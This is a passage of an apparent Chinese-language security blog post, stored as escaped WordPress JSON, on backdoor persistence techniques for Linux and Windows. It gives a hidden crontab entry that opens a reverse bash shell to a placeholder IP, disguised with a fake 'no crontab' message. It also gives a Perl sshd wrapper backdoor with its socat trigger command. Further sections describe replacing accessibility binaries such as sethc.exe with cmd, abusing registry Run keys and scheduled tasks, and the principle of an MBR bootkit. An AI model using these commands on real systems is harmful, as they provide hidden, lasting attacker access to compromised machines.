\/><\/p>\n<p><\/noscript><\/p>\n<h2>\u6301\u4e45\u5316\u65b9\u5f0fwin\/linux<\/h2>\n<h3>Linux<\/h3>\n<h4>\u5b9a\u65f6\u4efb\u52a1(Crontab)<\/h4>\n<p>\u4e0ewindows\u5b9a\u65f6\u4efb\u52a1\u7684\u539f\u7406\u4e00\u81f4\uff0c\u4e0d\u8fc7windows\u662f\u76f4\u63a5\u56de\u5f39\u540e\u95e8\u7a0b\u5e8f\uff0clinux\u53ef\u4ee5\u76f4\u63a5\u56de\u5f39shell \u4f46\u662f\u5b9a\u65f6\u4efb\u52a1\u88ab\u53d1\u73b0\u7684\u53ef\u80fd\u5f88\u5927\uff0c\u6267\u884c\u4e86\u4e4b\u540e\u5c31\u53ef\u4ee5\u4f7f\u7528nc\u8fdb\u884c\u76d1\u542c\u7aef\u53e3\u4f1a\u56de\u5f39shell\uff0c\u4e0d\u8fc7\u8fd9\u4e2a\u9ed8\u8ba4\u662f60\u5206\u949f\u4e00\u6b21\uff0c\u56de\u5f39\u7684\u8bdd\u53ef\u4ee5\u9002\u5f53\u8bbe\u7f6e\u5c0f\u4e00\u70b9\u3002<\/p>\n<pre><code>(crontab -l;printf &quot;*\/60 * * * * exec 9&lt;&gt; \/dev\/tcp\/xxx.xxx.xxx.xxx\/4444;exec 0&lt;&amp;9;exec 1&gt;&amp;9 2&gt;&amp;1;\/bin\/bash --noprofile -i;\\rno crontab for `whoami`%100c\\n&quot;)|crontab -<\/code><\/pre>\n<h4>ssh\u8f6f\u8fde\u63a5<\/h4>\n<p>\u5229\u7528\u8f6f\u8fde\u63a5\u5c06ssh\u518d\u6620\u5c04\u51fa\u6765\uff0c\u4e0d\u8fc7\u9ed8\u8ba4\u90fd\u662f\u6620\u5c04su\uff0c\u5982\u679c\u9700\u8981\u6620\u5c04\u5176\u4ed6\u7528\u6237\uff0c\u9700\u8981\u5c06su\u6539\u6210\u6240\u9700\u6620\u5c04\u7684\u7aef\u53e3\uff0c\u5728\u5927\u90e8\u5206\u7684linux\u4e2d\uff0c\u662f\u4e0d\u5141\u8bb8root\u76f4\u63a5\u767b\u5f55\u7684\u3002<\/p>\n<p>\u524d\u63d0\u8fd8\u662f\u9700\u8981\u6253\u5f00\u7aef\u53e3\u3002<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20211001164802306.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20211001164802306.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<h4>ssh\u516c\u94a5\u514d\u5bc6<\/h4>\n<p>\u5176\u5b9e\u8fd9\u4e2a\u66f4\u52a0\u503e\u5411\u4e8e\u662f\u5229\u7528\u8fd0\u7ef4\u7684\u8bef\u914d\u7f6e\u6765\u5229\u7528\u7684\u6f0f\u6d1e\uff0c\u5b9e\u9645\u539f\u7406\u5c31\u662f\u5c06\u81ea\u5df1\u914d\u7f6e\u7684ssh key\u4f20\u4e0a\u53bb\u7528\u6765\u514d\u5bc6\uff0c\u4f46\u662f\u5927\u90e8\u5206\u60c5\u51b5\uff0c\u8fd9\u4e00\u7c7b\u6743\u9650\u9501\u7684\u6bd4\u8f83\u6b7b\uff0c\u4e00\u65e6\u6709\u8fd9\u4e48\u9ad8\u7684\u6743\u9650\uff0c\u53cd\u800c\u4e0d\u9700\u8981\u518d\u5ea6\u63d0\u6743\u4e86\u3002<\/p>\n<h4>wrapper<\/h4>\n<h5>\u539f\u7406<\/h5>\n<p>\u9996\u5148\u542f\u52a8\u7684\u662f\/usr\/sbin\/sshd,\u811a\u672c\u6267\u884c\u5230getpeername\u8fd9\u91cc\u7684\u65f6\u5019\uff0c\u6b63\u5219\u5339\u914d\u4f1a\u5931\u8d25\uff0c\u4e8e\u662f\u6267\u884c\u4e0b\u4e00\u53e5\uff0c\u542f\u52a8\/usr\/bin\/sshd\uff0c\u8fd9\u662f\u539f\u59cbsshd\u3002\u539f\u59cb\u7684sshd\u76d1\u542c\u7aef\u53e3\u5efa\u7acb\u4e86tcp\u8fde\u63a5\u540e\uff0c\u4f1afork\u4e00\u4e2a\u5b50\u8fdb\u7a0b\u5904\u7406\u5177\u4f53\u5de5\u4f5c\u3002\u8fd9\u4e2a\u5b50\u8fdb\u7a0b\uff0c\u6ca1\u6709\u4ec0\u4e48\u68c0\u9a8c\uff0c\u800c\u662f\u76f4\u63a5\u6267\u884c\u7cfb\u7edf\u9ed8\u8ba4\u7684\u4f4d\u7f6e\u7684\/usr\/sbin\/sshd\uff0c\u8fd9\u6837\u5b50\u63a7\u5236\u6743\u53c8\u56de\u5230\u811a\u672c\u4e86\u3002\u6b64\u65f6\u5b50\u8fdb\u7a0b\u6807\u51c6\u8f93\u5165\u8f93\u51fa\u5df2\u88ab\u91cd\u5b9a\u5411\u5230\u5957\u63a5\u5b57\uff0cgetpeername\u80fd\u771f\u7684\u83b7\u53d6\u5230\u5ba2\u6237\u7aef\u7684TCP\u6e90\u7aef\u53e3\uff0c\u5982\u679c\u662f13377\u5c31\u6267\u884csh\u7ed9\u4e2ashell\u3002<\/p>\n<p>\u5176\u5b9e\u6211\u7684\u7406\u89e3\u5c31\u662f\uff0c\u6267\u884c\u8bed\u53e5\u5c31\u6539\u4e86sshd\u7684\u811a\u672c\u4e4b\u540e\uff0c\u542f\u52a8\u4f1a\u5339\u914d\u5931\u8d25\uff0c\u7136\u540e\u8fd0\u884c\u6211\u4eec\u8bbe\u7f6e\u7684sshd\u811a\u672c\uff0c\u5f00\u8fdb\u7a0b\u8bc6\u522b\uff0c\u5982\u679c\u662f13377\u7aef\u53e3\u8bbf\u95ee\u5c31\u7ed9\u4e88shell<\/p>\n<h5>\u5229\u7528<\/h5>\n<p>\u9776\u673a\u4f7f\u7528:<\/p>\n<pre><code>cd \/usr\/sbin\/\nmv sshd ..\/bin\/\necho &#039;#!\/usr\/bin\/perl&#039; &gt;sshd\necho &#039;exec &quot;\/bin\/sh&quot; if(getpeername(STDIN) =~ \/^..4A\/);&#039; &gt;&gt;sshd \/\/\u8fd9\u4e2a4A\u5bf9\u5e94\u7684\u662f13377\u5c0f\u7aef\u6a21\u5f0f\necho &#039;exec{&quot;\/usr\/bin\/sshd&quot;} &quot;\/usr\/sbin\/sshd&quot;,@ARGV,&#039; &gt;&gt;sshd\nchmod u+x sshd\n\/etc\/init.d\/sshd restart \n\/\/\u6216\u8005 service sshd restart<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u4f7f\u7528:<\/p>\n<pre><code>socat STDIO TCP4:target_ip:22,sourceport=13377<\/code><\/pre>\n<p>\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\u6211\u7684\u673a\u5668\u603b\u662f\u4fee\u6539\u540e\u6ca1\u529e\u6cd5\u91cd\u542fsshd\uff0c\u76f4\u63a5\u4f7f\u7528csdn\u4e0a\u7684\u590d\u73b0\u622a\u56fe\uff0c\u540c\u65f6\u9644\u4e0a\u6211\u590d\u73b0\u7684\u62a5\u9519<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20211001203812624.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20211001203812624.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/20200118183547150.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/20200118183547150.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<h3>Win<\/h3>\n<h4>\u8f85\u52a9\u529f\u80fd\u540e\u95e8<\/h4>\n<p>C:\\Windows\\System32\\sethc.exe  \u7c98\u6ede\u952e  \u5feb\u6377\u952e\uff1a\u6309\u4e94\u6b21 shift \u952e<\/p>\n<p>C:\\Windows\\System32\\utilman.exe   \u8bbe\u7f6e\u4e2d\u5fc3  \u5feb\u6377\u952e\uff1aWindows+U \u952e<\/p>\n<p>C:\\Windows\\System32\\osk.exe    \u5c4f\u5e55\u952e\u76d8<\/p>\n<p>C:\\Windows\\System32\\Magnify.exe  \u653e\u5927\u955c   \u5feb\u6377\u952e\uff1aWindows+\u52a0\u51cf\u53f7<\/p>\n<p>\u8fd9\u4e9b\u90fd\u53ef\u4ee5\u66ff\u6362\u6210CMD\uff0c\u7136\u540e\u5728\u6743\u9650\u4e22\u5931\u7684\u65f6\u5019\uff0c\u5c1d\u8bd5\u4f7f\u7528\u5feb\u6377\u952e\u542f\u7528\uff0c\u4f8b\u5982\u6211\u5728\u4e4b\u524dwindows 2008\u4e2d\u505a\u7684\u8f85\u52a9\u5de5\u5177\u5feb\u6377\u952e\u3002<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930145253274.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930145253274.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930145310811.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930145310811.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<h4><strong>\u6ce8\u518c\u8868\u81ea\u542f\u52a8\u9879<\/strong><\/h4>\n<p>\u542f\u52a8\u9879\u952e\u503c\u5206\u4e3a\u4e24\u79cd:<\/p>\n<p>Run:\u5f00\u673a\u81ea\u542f\u52a8\u9879\uff0c\u7c7b\u4f3c\u4e8e\u81ea\u542f\u52a8\u5e94\u7528<\/p>\n<p>RunOnce:\u7c7b\u4f3cRun\uff0c\u552f\u4e00\u533a\u522b\u5c31\u662f\uff0c\u8fd9\u662f\u4e00\u4e2a\u4e00\u6b21\u6027\u7684\uff0c\u6267\u884c\u4e00\u6b21\u4e4b\u540e\u5c31\u5220\u9664(\u5bf9\u4e8e\u6301\u4e45\u5316\u6765\u8bf4\uff0c\u4e0d\u9002\u7528)<\/p>\n<p>\u5e38\u89c1\u7684\u952e\u503c\u8def\u5f84:<\/p>\n<p>\u7528\u6237:<\/p>\n<pre><code class=\"language-javascript\">\\HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n\\HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce<\/code><\/pre>\n<p>\u7cfb\u7edf:<\/p>\n<pre><code class=\"language-javascript\">\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\n\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\\HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\n\\HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce<\/code><\/pre>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930151714753.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930151714753.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930152232364.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20210930152232364.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p>\u8fd9\u79cd\u53ef\u4ee5\u66ff\u6362\u6210\u540e\u95e8\uff0c\u4e0d\u8fc7\u8fd9\u79cd\u9700\u8981\u628a\u4e1c\u897f\u5b58\u50a8\u8d77\u6765\uff0c\u540c\u65f6\u53ef\u7591\u7684\u81ea\u542f\u52a8\u53ef\u80fd\u4f1a\u88ab\u62a5\u6bd2\u3002<\/p>\n<h4>\u5b9a\u65f6\u4efb\u52a1<\/h4>\n<p>\u5b9a\u65f6\u4efb\u52a1\u987e\u540d\u601d\u4e49\uff0c\u5c31\u662f\u5b9a\u65f6\u6267\u884c\u67d0\u79cd\u7a0b\u5e8f\u6216\u8005\u52a8\u4f5c\uff0c\u6bd4\u5982\u5b9a\u65f6\u5f00\u5173\u673a\u7b49\u3002\u90a3\u4e48\u53ef\u4ee5\u5229\u7528\u5b9a\u65f6\u4efb\u52a1<\/p>\n<p>\u4f8b\u5982\u8fd9\u6837\u7684\u60c5\u51b5\uff0c\u6211\u53ef\u4ee5\u7528\u6765\u5206\u7528\u6237\u542f\u52a8\u65f6\u90fd\u542f\u52a8\u4e00\u6b21\u6211\u7684\u540e\u95e8\uff0c\u8fbe\u5230\u6743\u9650\u7ef4\u6301\u7684\u76ee\u7684<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20211001134325579.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20211001134325579.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20211001134230281.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/image-20211001134230281.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n<h4>Bootkit<\/h4>\n<p>MBR\u540e\u95e8\u4e3b\u8981\u7684\u601d\u8def\u662f\u8bfb\u53d6\u4e3b\u5f15\u5bfc\u8bb0\u5f55\u548c\u628a\u5206\u533a\u8868\u4ece\u4e3b\u5f15\u5bfc\u8bb0\u5f55\u4e2d\u590d\u5236\u51fa\u6765\u3002\u7136\u540e\u628a\u81ea\u5df1\u7684\u5305\u542b\u6076\u610f\u4e8c\u8fdb\u5236\u6570\u636e\u7684\u4e3b\u5f15\u5bfc\u8bb0\u5f55\u653e\u5230\u4e3b\u5f15\u5bfc\u6247\u533a\uff0c\u5e76\u590d\u5236\u65b0\u7684\u5206\u533a\u8868\u5230\u5b83\u3002\u4f46\u662f\uff0c\u5e76\u975e\u53ea\u6709\u5206\u533a\u8868\u9700\u8981\u4fdd\u7559\uff0c\u8fd8\u6709\u539f\u6765\u7684\u4e3b\u5f15\u5bfc\u8bb0\u5f55\u4e5f\u9700\u8981\u4fdd\u5b58\u4e0b\u6765\uff0cMBR\u75c5\u6bd2\u590d\u5236\u539f\u59cb\u4e3b\u5f15\u5bfc\u8bb0\u5f55\u5230\u5176\u5b8364\u4e2a\u672a\u7528\u5230\u7684\u6247\u533a\u3002\u5230MBR\u75c5\u6bd2\u6267\u884c\u5b8c\u81ea\u5df1\u7684\u64cd\u4f5c\u540e\u5728\u8bfb\u53d6\u539f\u59cb\u7684\u4e3b\u5f15\u5bfc\u8bb0\u5f55\u5e76\u8df3\u52300x7c00\u5904\u6267\u884c\u6765\u5f15\u5bfc\u5f00\u673a\u3002\u76ee\u524d\u6bd4\u8f83\u6d41\u884c\u7684\u6bd4\u5982\u6697\u4e91\u6728\u9a6c\u7cfb\u5217\u3002\u7531\u4e8e\u6211\u4e0d\u4f1a\u8fd9\u4e00\u4e2a\u590d\u73b0\uff0c\u5927\u6982\u77e5\u9053\u4ec0\u4e48\u539f\u7406\u3002\u53ea\u80fd\u501f\u7528\u522b\u4eba\u7684\u89e3\u91ca\u4e86\u3002<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/1550309314_5c67d7c21b710.png\" src=\"https:\/\/www.hm-zy.cn\/wp-content\/themes\/solome\/assets\/img\/loading.gif\" alt=\"undefined\" \/><\/p>\n<p><noscript><img decoding=\"async\" src=\"https:\/\/shili.nos-eastchina1.126.net\/disable_function%26%E6%8C%81%E4%B9%85%E5%8C%96%E4%BB%8B%E7%BB%8D\/1550309314_5c67d7c21b710.png\" alt=\"undefined\" \/><\/p>\n<p><\/noscript><\/p>\n","protected":false},"excerpt":{"rendered":"disable_function\u9650\u5236\u7ed5\u8fc7 disable_function\u4ecb\u7ecd disable_function\u7981\u7528\u51fd\u6570\u5217\u8868\uff0c\u901a\u5e38\u7528\u6765\u7981\u7528\u4e00\u4e9b\u5371\u9669\u51fd\u6570\u3002\u4f8b\u5982\u670d\u52a1\u5668\u4e0a\u914d\u7f6e\u7684PHP\u7981\u7528\u51fd\u6570\u5217\u8868 \u7ed5\u8fc7\u65b9\u6cd5 LD_PRELOAD \u7ed5\u8fc7 \u4ecb\u7ecd LD_&#8230;<a rel=\"nofollow\" class=\"more-link\" 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